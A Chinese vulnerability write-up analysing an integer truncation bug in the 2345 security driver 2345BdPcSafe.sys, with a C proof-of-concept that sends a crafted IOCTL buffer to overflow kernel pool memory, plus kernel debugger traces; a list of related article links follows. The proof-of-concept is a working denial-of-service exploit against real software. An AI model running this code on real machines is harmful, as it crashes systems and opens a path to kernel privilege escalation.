漏洞概述

  • 软件网址:http://safe.2345.cc/
  • 版本:v3.7 X64

2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x0022204C)接口处理中,对输入数据校验不严格,精心构造的数据可导致在处理过程中内存拷贝时溢出,然后bsod拒绝服务,甚至可内核提权。

漏洞分析

IRP_MJ_DEVICE_CONTROL处理函数中,对0x22204C接口进行处理时,有一段拷贝字符串的操作如下所示:

struct _ioctl_buf
{WORD len;WORD len_;DWORD unk2;_ioctl_buf_str *ptr;
};
struct _ioctl_buf_str
{wchar_t buf[1];
};

a2是一个_ioctl_buf结构(由应用层输入构造而成),len2是输入的另一个字符串的长度,通过a2->len(2字节)和len2(2字节)计算得到len1,关键在于len1是也一个WORD变量,只有2字节,所以当a2->len+len2的大小超过WORD溢出之后,会被截断成WORD,截断后的值赋给len1,此时就可能导致len1的值反而小于a2->len。比如:

0xa3d0 + 0xb4f0 = 0x158C0 =>截断=> 0x58C0
0x58C0 < 0xa3d0

接着根据len1分配内存pmemmove拷贝a2->ptr内容到p中,长度按a2->len,问题就来了,a2-len大于len1时,就会导致拷贝溢出,bsod(写溢出,可控制内容,可以做更多的利用了,这里我不擅长了)。

好了,漏洞成因这里就分析完了。

下面看一下poc

int poc()
{DWORD BytesReturned = 0;HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");if (h == INVALID_HANDLE_VALUE) {return 1;}//过白名单检查if (!BypassChk(h)) {return 1;}//BSODDWORD ctlcode = 0x22204C;
#pragma pack(push, 1)struct _ioctl_buf_in{DWORD unk1;DWORD unk2;//4DWORD offset1;//8 =0x18DWORD offset2;//c =A3E8DWORD offset3;//10DWORD unk3;//14char buf1[0xa3d0];//18char buf2[0xb4f0];//18+a3d0 }; //0x158D8
#pragma pack(pop)_ioctl_buf_in buff = { 0 };buff.unk1 = 4;buff.unk3 = 4;buff.offset1 = 0x18;buff.offset2 = (char*)&buff.buf2 - (char*)&buff;buff.offset3 = 0;memset(buff.buf1, 0x41, 0xa3d0);memset(buff.buf2, 0x41, 0xb4f0);if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, 0, &BytesReturned, NULL)) {printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());}return 0;
}

其中buff.buf1buff.buf2的长度0xa3d0 + 0xb4f0 = 0x158c0(截断)就是a2->len(0x58c0),buff.buf2的长度b4f0就是len2

我们在调试中看一下计算结果,可以清晰看到len1=0xdb2 < 0x58c0(a2->len)

0: kd> p
2345BdPcSafe+0x561c:
fffff880`0540561c 660307          add     ax,word ptr [rdi]
0: kd> r rdi
rdi=fffffa8026539658
0: kd> dw fffffa8026539658 l1
fffffa80`26539658  58c0
//a2->len = 0x58c0
0: kd> p
2345BdPcSafe+0x561f:
fffff880`0540561f 664103c1        add     ax,r9w
0: kd> r rax
rax=00000000000058c2
//len2 = 0xb4f0
0: kd> r r9
r9=000000000000b4f0
0: kd> p
2345BdPcSafe+0x5623:
fffff880`05405623 0fb7d0          movzx   edx,ax
0: kd> r rax
rax=0000000000000db2
//len1 = 0xdb2
0: kd> p
2345BdPcSafe+0x562a:
fffff880`0540562a ff15b80e0300    call    qword ptr [2345BdPcSafe+0x364e8 (fffff880`054364e8)]
0: kd> dq fffff880`054364e8 l1
fffff880`054364e8  fffff800`03ff70e0
0: kd> u fffff800`03ff70e0
nt!ExAllocatePoolWithTag:
fffff800`03ff70e0 fff5            push    rbp
0: kd> r rcx;r rdx;r r8
rcx=0000000000000001
rdx=0000000000000db2
r8=0000000035343332
//参数:p = ExAllocatePoolWithTag(1, 0xdb2, 0x35343332);

结语

这个漏洞主要是对输入参数结构体的长度字段校验不够严谨,导致变量溢出截断出现意外的大小结果导致了漏洞的产生。

该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待!

2345内核拒绝服务漏洞(3)- WORD的锅相关推荐

  1. 2345内核拒绝服务漏洞(1)

    概述 已经快2个月了吧,已经忘了是什么原因突然搞起了驱动漏洞,反正就是很有兴致地想挖掘一下驱动漏洞. 在网上了解了基本的驱动漏洞挖掘方法,主要是通过ioctl接口进行挖掘,已经有很多相关fuzz工具了 ...

  2. PowerTool kEvP.sys=V4.2 内核拒绝服务漏洞

    百度百科: PowerTool 一款免费强大的进程管理器,支持进程强制结束,可以Unlock占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能.最 ...

  3. 瑞星2011、2012神马的各种内核拒绝服务漏洞

    看了看雪上的这篇帖子<瑞星全功能安全软件2011内核拒绝服务漏洞>http://bbs.pediy.com/showthread.php?t=151241.里面提到的驱动签名时间签名是20 ...

  4. linux内核系列远程拒绝服务漏洞,预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响...

    近日,腾讯云安全中心监测到Linux 内核被曝存在TCP "SACK Panic" 远程拒绝服务漏洞(漏洞编号:CVE-2019-11477,CVE-2019-11478,CVE- ...

  5. Linux Kernel ‘_xfs_buf_find()’函数空指针引用拒绝服务漏洞

    漏洞名称: Linux Kernel '_xfs_buf_find()'函数空指针引用拒绝服务漏洞 CNNVD编号: CNNVD-201303-071 发布时间: 2013-03-06 更新时间: 2 ...

  6. Linux kernel 本地拒绝服务漏洞

    漏洞名称: Linux kernel 本地拒绝服务漏洞 CNNVD编号: CNNVD-201302-387 发布时间: 2013-02-22 更新时间: 2013-02-22 危害等级:   漏洞类型 ...

  7. linux 远程拒绝服务,Linux Kernel SCTP远程拒绝服务漏洞

    发布日期:2011-08-30 更新日期:2011-08-30 受影响系统: Linux kernel 2.6.x 描述: -------------------------------------- ...

  8. linux media v4l2,Linux kernel drivers/media/v4l2-core/videobuf2-v4l2.c拒绝服务漏洞(CVE-2016-4568)...

    Linux kernel drivers/media/v4l2-core/videobuf2-v4l2.c拒绝服务漏洞(CVE-2016-4568) 发布日期:2016-05-19 更新日期:2016 ...

  9. 多个Cisco产品报文远程拒绝服务漏洞

    多个Cisco产品报文远程拒绝服务漏洞 影响版本: Cisco NX-OS Cisco Nexus 5000 Cisco IOS Software Cisco IOS-XE Software Cisc ...

最新文章

  1. Linux中断(interrupt)子系统之一:中断系统基本原理【转】
  2. Dijkstra算法--有向图的源点到其他顶点的最短路径(连接矩阵、邻接矩阵两种方式)
  3. ASP.NET中Image控件不能自动刷新
  4. “Java引领技术人生”专题讲座北京、上海站圆满举行
  5. 八、TFTP服务器搭建及应用
  6. 实现锁死的有滚动条的div的表格(datagird)
  7. C++动态(显式)调用 C++ dll示例
  8. kubernetes 实战 使用 nfs 作为动态 storageClass 存储
  9. Cobar-Client 实现策略总结
  10. 【NOIP2000】【Luogu1019】单词接龙
  11. python——redis连接与使用
  12. 线性表的基本操作Basic operation of SequenceList
  13. html标签的英文全拼,HTML标签全称对照
  14. 汇编语言学习资料汇总
  15. 使用Python开发一个恐龙跑跑小游戏,玩起来
  16. 会议排座位系统图书馆座位预约系统哪个好?
  17. 如何利用市场情绪套利
  18. Node+express+mongoose前端实现简单crud接口
  19. 爬取《Five Hundred Miles》在网易云音乐的所有评论
  20. 如何辨别上市公司财务造假

热门文章

  1. [daily][mathematica][fcitx] mathematica 无法输入中文的问题
  2. Jenkins配置Coding Webhook
  3. 用python编程小程序制作_Python编写四人24小时值班表生成小程序【简单粗暴】
  4. Python Flask教程学习02
  5. 龟虽寿-曹操(东汉)
  6. bark app在Windows与ios间实现接力
  7. LOB大字段空间整理
  8. rabiitmq卸载_RabbitMQ 的安装与卸载 以及各种踩坑
  9. 数据结构之二叉树的实现
  10. LSTM 无法预测股票价格